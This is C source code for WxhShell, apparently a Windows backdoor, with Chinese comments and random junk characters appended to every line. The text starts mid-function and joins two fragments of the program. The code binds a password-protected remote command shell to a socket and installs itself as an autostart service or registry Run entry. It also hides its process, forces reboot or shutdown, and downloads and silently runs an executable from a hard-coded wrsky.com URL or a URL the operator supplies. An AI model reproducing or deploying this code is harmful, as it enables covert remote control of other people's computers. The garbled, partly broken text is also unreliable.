  case 'd': { ,\E5et4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WvHy}1W  
    if(Boot(SHUTDOWN)) IR<*OnKn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nF{>RD  
    else { p0j-$*F  
    closesocket(wsh); 3G-f+HN^E  
    ExitThread(0); }t5pz[zl  
    } 'K3%@,O  
    break; {m 5R=22^  
    } LX iis)1  
  // 获取shell ? p^':@=  
  case 's': { Y# ?M%I%j  
    CmdShell(wsh); v*EErQML8b  
    closesocket(wsh); _@ @"'  
    ExitThread(0); cUM#|K#6  
    break; Fj0h-7L  
  } }}~ t! /x  
  // 退出 z;[Z'_B  
  case 'x': { btIh%OM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C'CdVDm X  
    CloseIt(wsh); R86:1  
    break; [LHfH3[gU  
    } %~YQl N  
  // 离开 9/LJ tM  
  case 'q': { g;<_GL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ut;KphvSH  
    closesocket(wsh); PVUNi: h  
    WSACleanup(); X.<2]V7!  
    exit(1); ' $X}'u  
    break; @)m+b;  
        } 4p_@f^v~QH  
  } HH,G3~EBF  
  } p4I6oS`/.  
~CL^%\K  
  // 提示信息 1dX)l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kR|(hA,$N  
} z}*74lhF  
  } ;/<J& #2.  
v0S7 ]?_  
  return; Sh RkL<  
} ]; G$~[  
pM7xnL4  
// shell模块句柄 jRzQ`*KC#  
int CmdShell(SOCKET sock) E| =~rIKN  
{ U2VnACCUZs  
STARTUPINFO si; ^LJ?GJ$g  
ZeroMemory(&si,sizeof(si)); J0"<}"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?$FvE4!n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B|n<{g[-cM  
PROCESS_INFORMATION ProcessInfo; /-jk_8@a  
char cmdline[]="cmd"; @^93q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @Xe[5T  
  return 0; R^F\2yth-  
} W L5!H.q  
_Vxk4KjP5  
// 自身启动模式 ij~023$DTt  
int StartFromService(void) 6sp?'GO`~  
{ _"#ucM=B:-  
typedef struct B#;yko  
{ _fQBXG2  
  DWORD ExitStatus; ;'J{ylRQ  
  DWORD PebBaseAddress; 9oA.!4q  
  DWORD AffinityMask; XDi[Iyj  
  DWORD BasePriority; ZICcZG_y  
  ULONG UniqueProcessId; {,rVA(I@  
  ULONG InheritedFromUniqueProcessId; Nm]\0m0p-  
}   PROCESS_BASIC_INFORMATION; kKg%[zXS  
g>*t"Rf:  
PROCNTQSIP NtQueryInformationProcess; y*Wl(w3  
E-q*u(IW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z!6:Dt6^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p6'wg#15  
*S@0o6v  
  HANDLE             hProcess; mf)o1O&B  
  PROCESS_BASIC_INFORMATION pbi; (j;6}@  
"|l-NUe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,:QDl  
  if(NULL == hInst ) return 0; BnLWC  
N2^B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;{Kx$Yt+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i%)Nn^a;T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?5L.]Isa5  
[1*3 kt*h  
  if (!NtQueryInformationProcess) return 0; Fv6<Cz6L  
) Pdl[+a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X%b.]A  
  if(!hProcess) return 0; va/$dD9  
R_2JP C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uR7\uvibUO  
:9`T.V<?  
  CloseHandle(hProcess); *!*J5/ b  
cSSrMYX2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z{ A)  
if(hProcess==NULL) return 0; *OQr:e<}  
G:2m)0bW  
HMODULE hMod; ;9hi2_luV  
char procName[255]; -v(.]`Wo&;  
unsigned long cbNeeded; &<E*W*b[  
w&7-:."1i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8f<[Bu ze  
uE6;;Ir#mF  
  CloseHandle(hProcess); WurpHOJt+  
@ 0RB.-  
if(strstr(procName,"services")) return 1; // 以服务启动 zU9G: jH  
kG7q4jFwP  
  return 0; // 注册表启动 Z) zWfv}  
} ~agzp`!M  
^{T3lQvt  
// 主模块 )c#m<_^  
int StartWxhshell(LPSTR lpCmdLine) ]jz%])SzH  
{ [1Yx#t  
  SOCKET wsl; 9s-op:5  
BOOL val=TRUE; Z;{3RWV  
  int port=0; t-$R)vZ}M  
  struct sockaddr_in door; #~r+   
jyt#C7mj-A  
  if(wscfg.ws_autoins) Install(); )k8=< =s  
lnFOD+y9  
port=atoi(lpCmdLine); ~\%MJ3  
#w4= kWJ[  
if(port<=0) port=wscfg.ws_port; u,e(5LU  
v^h \E+@  
  WSADATA data; P/'~&*m-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .f V-puE  
I"]5B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XK (y ?Y1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l0 H,TT~2  
  door.sin_family = AF_INET; w`vJE!4B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RrkS!E[C  
  door.sin_port = htons(port);  l+.E'   
D@i,dPz5Zl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [UVxtMJ  
closesocket(wsl); $C UmRi{T  
return 1; ,Z;z}{.hq  
} Ok+zUA[Wu  
'|b {  
  if(listen(wsl,2) == INVALID_SOCKET) { q9RCXo>Y+1  
closesocket(wsl); d]OoJK9&&  
return 1; bc"E=z  
} }TZ5/zn.Dw  
  Wxhshell(wsl); _,i]ra{%  
  WSACleanup(); 3:i4DBp,i  
bUC-}  
return 0; fn zj@_{|  
@xJ qG"  
} 9lA@ K[  
~a[]4\ m;  
// 以NT服务方式启动 E/ <[G?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8=!M0i  
{ ?=]`X=g 6  
DWORD   status = 0; k[l+~5ix  
  DWORD   specificError = 0xfffffff; h94SLj]  
WYQJ +z5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FX"%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bh&,*Y6=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @^y/V@lDm  
  serviceStatus.dwWin32ExitCode     = 0; *hAeA+:  
  serviceStatus.dwServiceSpecificExitCode = 0; G qI^$5?  
  serviceStatus.dwCheckPoint       = 0; 2hV#3i  
  serviceStatus.dwWaitHint       = 0; {4 !%'~  
22\Buk}?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tv<iHHp  
  if (hServiceStatusHandle==0) return; C+Wb_  
"aN<3b  
status = GetLastError(); ^lT$D8  
  if (status!=NO_ERROR) aW7{T6.,  
{ )^uLZMNaI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $jb0/  
    serviceStatus.dwCheckPoint       = 0; N:!XtYA<  
    serviceStatus.dwWaitHint       = 0; BJk:h-m [  
    serviceStatus.dwWin32ExitCode     = status; J p.Sow  
    serviceStatus.dwServiceSpecificExitCode = specificError; "_ b Sy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _=jc%@]1y  
    return; WIXzxI<)  
  } l^ni"X  
|EaGKC(   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `LnLd;Z  
  serviceStatus.dwCheckPoint       = 0; V-CPq  
  serviceStatus.dwWaitHint       = 0; !W/Og 5n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $Trkow%F]  
} =1lKcA[z  
g/so3F%v .  
// 处理NT服务事件,比如:启动、停止 -9/YS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9U6y<X  
{ R:B-4  
switch(fdwControl) mSAuS)YD  
{ 8Uvf9,I'  
case SERVICE_CONTROL_STOP:  M}}9  
  serviceStatus.dwWin32ExitCode = 0; 5oplV(<?*S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A6}M F  
  serviceStatus.dwCheckPoint   = 0; 0\wMlV`F  
  serviceStatus.dwWaitHint     = 0; kf0zL3|   
  { VG+Yhm<SL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B8 -/ C\  
  } V;?_l?_  
  return; KO<fN,DR  
case SERVICE_CONTROL_PAUSE: g?UG6mFbE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1j6ZSE/*|  
  break; ^LTLyt)/  
case SERVICE_CONTROL_CONTINUE: rx'},[b]3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aZ2liR\QE  
  break; ?)1h.K1}M  
case SERVICE_CONTROL_INTERROGATE: o(>!T=f  
  break; [9a0J):w{  
}; bOux8OHt*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q<zL;AJ  
} $}l0Nh'Eu  
jDcE_55o  
// 标准应用程序主函数 ;=hl!CB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b]~X U  
{ 7*OO k"9  
5?k_Q"~  
// 获取操作系统版本 ~*Ve>4  
OsIsNt=GetOsVer(); HGB96,o f9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4XQv  
iBxCk^  
  // 从命令行安装 g GN[AqR  
  if(strpbrk(lpCmdLine,"iI")) Install(); WW@/q`h  
jfl7L"2  
  // 下载执行文件 XcaY'k#  
if(wscfg.ws_downexe) { ?AyG!F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J'Yj_  
  WinExec(wscfg.ws_filenam,SW_HIDE); tQ'E"u1  
} G=!Y~qg  
%B3E9<9>U  
if(!OsIsNt) {  ;e()|  
// 如果时win9x,隐藏进程并且设置为注册表启动 88d0`6K-9  
HideProc(); y ']>J+b0  
StartWxhshell(lpCmdLine); H0 km*5Sn  
} gnNMuqt  
else V8NNIS  
  if(StartFromService()) ;f[Ki$7  
  // 以服务方式启动 6*kY7  
  StartServiceCtrlDispatcher(DispatchTable); Mc~(S$FU$  
else  nq8mzI  
  // 普通方式启动 "Z }'u2%\m  
  StartWxhshell(lpCmdLine); l+ bP48  
Hy|$7]1  
return 0; %S$`cp  
} R8Lp8!F'  
iYHD:cg)~  
=bZ>>-<  
fV Ah</aZ  
=========================================== e<l Wel  
DM!vB+j+,  
 #It{B  
aT(Pf7 O  
v/8K?$"q  
tn6\0_5n  
" kxhvy,t  
0^]E-Zf  
#include <stdio.h>  ,L\OhT  
#include <string.h> %D\TLY  
#include <windows.h> /Y:_qsO1  
#include <winsock2.h> el.;T*Wn  
#include <winsvc.h> B~lrd#qC  
#include <urlmon.h> _,NL;66=[  
W*u Yb|0  
#pragma comment (lib, "Ws2_32.lib") 9X@y*;w<t  
#pragma comment (lib, "urlmon.lib") zbx,qctYo$  
Yj/S(4(h?  
#define MAX_USER   100 // 最大客户端连接数 qeBfE  
#define BUF_SOCK   200 // sock buffer QT9(s\u  
#define KEY_BUFF   255 // 输入 buffer WHvN6  
]$4k+)6  
#define REBOOT     0   // 重启 %K;,qS'N_  
#define SHUTDOWN   1   // 关机 aIRCz=N  
* ?rw'  
#define DEF_PORT   5000 // 监听端口 Xl2Fgg}#  
y{s?]hLk  
#define REG_LEN     16   // 注册表键长度 1*[h$Z&H?  
#define SVC_LEN     80   // NT服务名长度 TPq5"mco  
5(%+8<2  
// 从dll定义API NV9D;g$Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m!|u{<,R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6t *pV [  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -/B}XN W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CP|N2rb  
"\vEi &C  
// wxhshell配置信息 5sM-E>8G^{  
struct WSCFG { ' ,a'r.HJH  
  int ws_port;         // 监听端口 WsL*P .J  
  char ws_passstr[REG_LEN]; // 口令 d&w g\"E  
  int ws_autoins;       // 安装标记, 1=yes 0=no O=MO M  
  char ws_regname[REG_LEN]; // 注册表键名 be$wG O=Ts  
  char ws_svcname[REG_LEN]; // 服务名 E3_e~yu&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6*S|$lo9B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^uMy|d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e8a_)TU?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xFHc+m' m~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R6h(mPYA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8PDt 7 \  
9&g//JlD  
}; s IY`H^  
'vhgR2/  
// default Wxhshell configuration Ua,Lg.z  
struct WSCFG wscfg={DEF_PORT, k5$_Q#  
    "xuhuanlingzhe", J1 a/U@"  
    1, lHV bn7  
    "Wxhshell", <o3e0JCq  
    "Wxhshell", it ,i^32|  
            "WxhShell Service", -F/"W  
    "Wrsky Windows CmdShell Service", Z$k4T$,[-  
    "Please Input Your Password: ", ?M;2H {KG:  
  1, ^p|MkB?uM  
  "http://www.wrsky.com/wxhshell.exe", FdKp@&O+1  
  "Wxhshell.exe" @%O"P9;s  
    }; `]FA} wC  
Vu*yEF}  
// 消息定义模块 &AU%3b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ` *&*jdq&i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PnFU{N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xA`Q4"[I  
char *msg_ws_ext="\n\rExit."; (NFq/w%  
char *msg_ws_end="\n\rQuit."; q<@f3[A  
char *msg_ws_boot="\n\rReboot..."; \"V7O'S)&  
char *msg_ws_poff="\n\rShutdown..."; G+=eu K2]  
char *msg_ws_down="\n\rSave to "; kmi[u8iXD_  
?#<Fxme  
char *msg_ws_err="\n\rErr!"; y"]?TEd  
char *msg_ws_ok="\n\rOK!"; I+!w9o2nZ  
'8 1M%KO  
char ExeFile[MAX_PATH]; ']ya_v~e  
int nUser = 0; ]sd|u[:k  
HANDLE handles[MAX_USER]; =xSFKu*  
int OsIsNt; ^Gq4Yr  
I .p26  
SERVICE_STATUS       serviceStatus; y{uRh>l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z WL/AC  
-=&r}/&  
// 函数声明 js^@tgf$x&  
int Install(void); G':mc{{  
int Uninstall(void); f#ID:Ap3  
int DownloadFile(char *sURL, SOCKET wsh); =V5<>5"M?  
int Boot(int flag); U8c0N<j  
void HideProc(void); _.' j'j%  
int GetOsVer(void); ?uc=(J+6  
int Wxhshell(SOCKET wsl); hvtg_w6K  
void TalkWithClient(void *cs); 6|V713\  
int CmdShell(SOCKET sock); <?yAIhgN*  
int StartFromService(void); 8do]5FE  
int StartWxhshell(LPSTR lpCmdLine); f` 2W}|(jA  
U)=StpTT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B0?E$8a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |+~CdA  
1tDd4r?Y  
// 数据结构和表定义 m>x.4aO1  
SERVICE_TABLE_ENTRY DispatchTable[] = \;&j;"c,W  
{ :2^%^3+V  
{wscfg.ws_svcname, NTServiceMain}, nC$f0r"z  
{NULL, NULL} -m(9*b{h@  
}; S:v]3G  
y"#o9"&>&  
// 自我安装 >)R7*^m{'  
int Install(void) IiHl"2+/  
{ beRpA;  
  char svExeFile[MAX_PATH]; B[Fx2r`0  
  HKEY key; R(74Px,/  
  strcpy(svExeFile,ExeFile); M9.jJf  
H1yl88K  
// 如果是win9x系统,修改注册表设为自启动 mQ;b'0&  
if(!OsIsNt) { ZF_*h`B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I5mnV<QA^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >2x[ub%$L  
  RegCloseKey(key); Gw:8-bxS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J/>Y mi,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jmxjiJKP  
  RegCloseKey(key); btkD<1{g  
  return 0; #~^#%G  
    } y#F( xm+L  
  } -8-  
} x~j>Lvw L  
else { s]#D;i8  
hk3}}jc  
// 如果是NT以上系统,安装为系统服务 T6=,A }t-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6{B$_Usg  
if (schSCManager!=0) |a%&7-;   
{ TppR \[4]  
  SC_HANDLE schService = CreateService {" woBOaA  
  ( (n;#Z,  
  schSCManager, jAB~XaT,  
  wscfg.ws_svcname, g,h'K  
  wscfg.ws_svcdisp, Wz)s#  
  SERVICE_ALL_ACCESS, _Jx.?8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T?4MFx#  
  SERVICE_AUTO_START, $ jWe!]ASU  
  SERVICE_ERROR_NORMAL, 8)\Td tBf9  
  svExeFile, *v 1hMk  
  NULL, \XFF(  
  NULL, +)k%jIi!  
  NULL, =e=sK'NvD  
  NULL, 3.Z}2F]  
  NULL @d:TAwOI'  
  ); #!wu}nDu  
  if (schService!=0) z$ZG`v>0  
  { ~2+J]8@I]  
  CloseServiceHandle(schService); {U?/u93~  
  CloseServiceHandle(schSCManager); hm*1w6 =  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "#\\p~D/<  
  strcat(svExeFile,wscfg.ws_svcname); rV*9=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v^1_'P AXu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I(y:Td  
  RegCloseKey(key); 4/vQ/>c2j  
  return 0; .;&c<c|  
    } FpN>T  
  } 89e<,f`h  
  CloseServiceHandle(schSCManager); -L%tiz`_  
} |re)]%A?Fu  
} 1 41@$mMzE  
|l'BNuiU  
return 1; F6J,:  
} [vh&o-6  
{Z%4Pg  
// 自我卸载 }iZO0C  
int Uninstall(void) 2L Kpwz?  
{ L}Nc kL  
  HKEY key; P>n}\"z4  
.`*h2  
if(!OsIsNt) { wg?GEY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j ;}!Yn  
  RegDeleteValue(key,wscfg.ws_regname); d+[GMIxg  
  RegCloseKey(key); MWTzJGRT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = i9|lU"Va  
  RegDeleteValue(key,wscfg.ws_regname); (Qq;ySZ#  
  RegCloseKey(key); %ub\+~  
  return 0; f|Dq#(^\  
  } HjCcfOej  
} O(q1R#n-}+  
} i E p{  
else { uvC ![j^~  
9jW/"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M9so3L<N0  
if (schSCManager!=0) $fZVh%  
{ w6FtDl$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Iow45R~]  
  if (schService!=0) U?BuV  
  { ?=$=c8xw  
  if(DeleteService(schService)!=0) { (jhDO7  
  CloseServiceHandle(schService); zv/owK  
  CloseServiceHandle(schSCManager); Y,0D+sO4  
  return 0; K@d,8[  
  } %Y!31oC#  
  CloseServiceHandle(schService); DvL/xlN  
  } kD1[6cJ!=.  
  CloseServiceHandle(schSCManager); +9Vp<(  
} )~@iM.}S2  
} L WwWxerZ  
X|]&K  
return 1; {Aq2}sRl{  
} ))Q3;mI"  
VaKBS/y"  
// 从指定url下载文件 ~Psv[b=]  
int DownloadFile(char *sURL, SOCKET wsh) uRIa Nwohv  
{ !<'0 GOl  
  HRESULT hr; Qn0 1ig  
char seps[]= "/"; (rFXzCI  
char *token; luLt~A3H$  
char *file; Ew.a*[W''  
char myURL[MAX_PATH]; Z'/sZ3Q}  
char myFILE[MAX_PATH]; {jVEstP  
|Iq#Q3w  
strcpy(myURL,sURL); eD<Kk 4){  
  token=strtok(myURL,seps); d^-sxl3}  
  while(token!=NULL) M{)7C,'  
  { AE?G+:B  
    file=token; $ /Rr|<  
  token=strtok(NULL,seps); L`"B;a&  
  } aJ;6!WFW  
t^ax:6;"|  
GetCurrentDirectory(MAX_PATH,myFILE); ZV,1IaO  
strcat(myFILE, "\\"); tZ4Zj`x|^  
strcat(myFILE, file); Wbra*LNU  
  send(wsh,myFILE,strlen(myFILE),0); bIs@CDB  
send(wsh,"...",3,0); y*6-?@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *.g@6IkAQ  
  if(hr==S_OK) %p wpRD@  
return 0; QVEGd"WvvO  
else (}^Qo^Vr  
return 1; @-d0 ~.S  
)$Tcip`  
} IgxZ_2hO  
(A<'{J#5,  
// 系统电源模块 (bT3 r_  
int Boot(int flag) iRwlK5(&  
{ F@C^nX9  
  HANDLE hToken; Aw~N"i  
  TOKEN_PRIVILEGES tkp; TOUP.,f/!  
\7l% @  
  if(OsIsNt) { &uX| Ksq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cwK+{*ZH/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;`p!/9il  
    tkp.PrivilegeCount = 1; %+A z X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %BV 2 q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )'pc1I  
if(flag==REBOOT) { ?A]@$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c+_F}2)  
  return 0; '5:P,1tW U  
} 6e%|.}U  
else { ]E8S`[Vn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yEvuTgDv  
  return 0; DnY7$']"|  
} (txr%Z0E  
  } 9gS.G2  
  else { B^{87YR  
if(flag==REBOOT) { +0)zB;~7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F~qiNV  
  return 0; R3`Rrj Z  
} `%a+LU2  
else { utJz e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gJn_Z7MgJ  
  return 0; $IdY(f:.:5  
} wlY6h4c  
} E\ 'X|/$a  
ab5uZ0@  
return 1; _jhdqON6E  
} JsA9Xdk`  
0lyCk }c  
// win9x进程隐藏模块 W;^bc*a_  
void HideProc(void) 74hQ?Atw:  
{ $AI0&#NM  
vU|.Gw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1zz.`.R2U  
  if ( hKernel != NULL ) s</llJ$  
  { -_>g=a@&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !edgziuO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t G{?  
    FreeLibrary(hKernel); x: Nd>Fb  
  } *C0gpEf9S  
CYxrKW l:'  
return; Rlq6I?S+  
} 7+h*&f3>  
wn$:L9"YN  
// 获取操作系统版本 4-YXXi}  
int GetOsVer(void) c= -2c&=&  
{ q|8p4X}/]  
  OSVERSIONINFO winfo; "eH~/6A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c/c%-=  
  GetVersionEx(&winfo); te+5@k#t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CCX!>k]  
  return 1; a%wK[yVp  
  else {]a 6o[}u  
  return 0; R+s_uwS  
} JKFV7{ %Gl  
rCmxv7" a}  
// 客户端句柄模块 @c8s<9I]  
int Wxhshell(SOCKET wsl) tv_Cn w  
{ Q9~UL^bF  
  SOCKET wsh; JqDj)}fzX  
  struct sockaddr_in client; K 7x,>  
  DWORD myID; , yC-QFQE  
oc2aE:>X  
  while(nUser<MAX_USER) x%;Q /7&$  
{ UJ0Dy ` f  
  int nSize=sizeof(client); Qbc62qFu!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L-ZJ[#D  
  if(wsh==INVALID_SOCKET) return 1; EmDA\9~@R  
mQ9%[U,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \E'Nk$V3  
if(handles[nUser]==0) D4"](RXH  
  closesocket(wsh); h=3156M  
else WAj26";M(  
  nUser++; {,5=U@J  
  } }}GBCXAf_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'z#{'`$a  
(VPT% l6  
  return 0; Yg;g!~   
} jH*+\:UP-  
%;.|?gR  
// 关闭 socket %5_eos&<^)  
void CloseIt(SOCKET wsh) ,u}n!quA  
{ ==psPyLF@  
closesocket(wsh); i*9l  
nUser--; `TkI yGr  
ExitThread(0); x*#F|N4~',  
} 1%L* 9>e  
]`D(/l'  
// 客户端请求句柄 ^}2 ie|  
void TalkWithClient(void *cs) Qa,^;hZWS  
{ !U"1ZsO)l  
(u]ajT  
  SOCKET wsh=(SOCKET)cs; Bc4{$sc"O  
  char pwd[SVC_LEN]; J! 4l-.-  
  char cmd[KEY_BUFF]; '_n{+eR74  
char chr[1]; dt"[5;_P`  
int i,j; B[ f{Ys  
B;8YX>r  
  while (nUser < MAX_USER) { I(8,D[G.m  
6(4o}Sv  
if(wscfg.ws_passstr) { YbC6&_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &DX9m4,y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #lyvb.;  
  //ZeroMemory(pwd,KEY_BUFF); NgKbf vt  
      i=0;  ?4 `K8  
  while(i<SVC_LEN) { @j$tpz  
S,5>g07-`  
  // 设置超时 ^uW!=%D  
  fd_set FdRead; qYFol# =%  
  struct timeval TimeOut; GLb}_-|  
  FD_ZERO(&FdRead); ;G.m;5A  
  FD_SET(wsh,&FdRead); g<s[6yA  
  TimeOut.tv_sec=8; *@Z/L26s;=  
  TimeOut.tv_usec=0; ay2 m!s Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r*/Pyh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); laM0W5  
&7 }!U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SVp]}!jI  
  pwd=chr[0]; nzDS  
  if(chr[0]==0xd || chr[0]==0xa) { I~S`'()J  
  pwd=0; .2hQ!)+  
  break; vi6EI wZG  
  } }>xgzhdT  
  i++; oll~|J^sg  
    } )_T[thf]  
Sv-}w$  
  // 如果是非法用户,关闭 socket w\Q3h`.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !^ 6x64r  
} L{~L6:6An  
QEM")(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9AJ!7J#v"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Ebkb3_  
hQBeM7$F_  
while(1) { 0$,Ag;"^?  
!EM21Sc  
  ZeroMemory(cmd,KEY_BUFF); i^uC4S~  
 zUqiz  
      // 自动支持客户端 telnet标准   )dLESk  
  j=0; i{VjSWq  
  while(j<KEY_BUFF) { ja~b5Tf9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @( 9#\%=  
  cmd[j]=chr[0]; #hd<5+$U}l  
  if(chr[0]==0xa || chr[0]==0xd) { ~GfcI:Zz&  
  cmd[j]=0; <uL?7P  
  break; 'oTcx Jx  
  } NV;5T3  
  j++; y wk;  
    } Qd!;CoOmZs  
44?5]C7  
  // 下载文件 6!bA~"N  
  if(strstr(cmd,"http://")) { 5 d(A(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %kJ:{J+w]  
  if(DownloadFile(cmd,wsh)) j&fr4t3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |1 is!leP  
  else -baGr;,Cu  
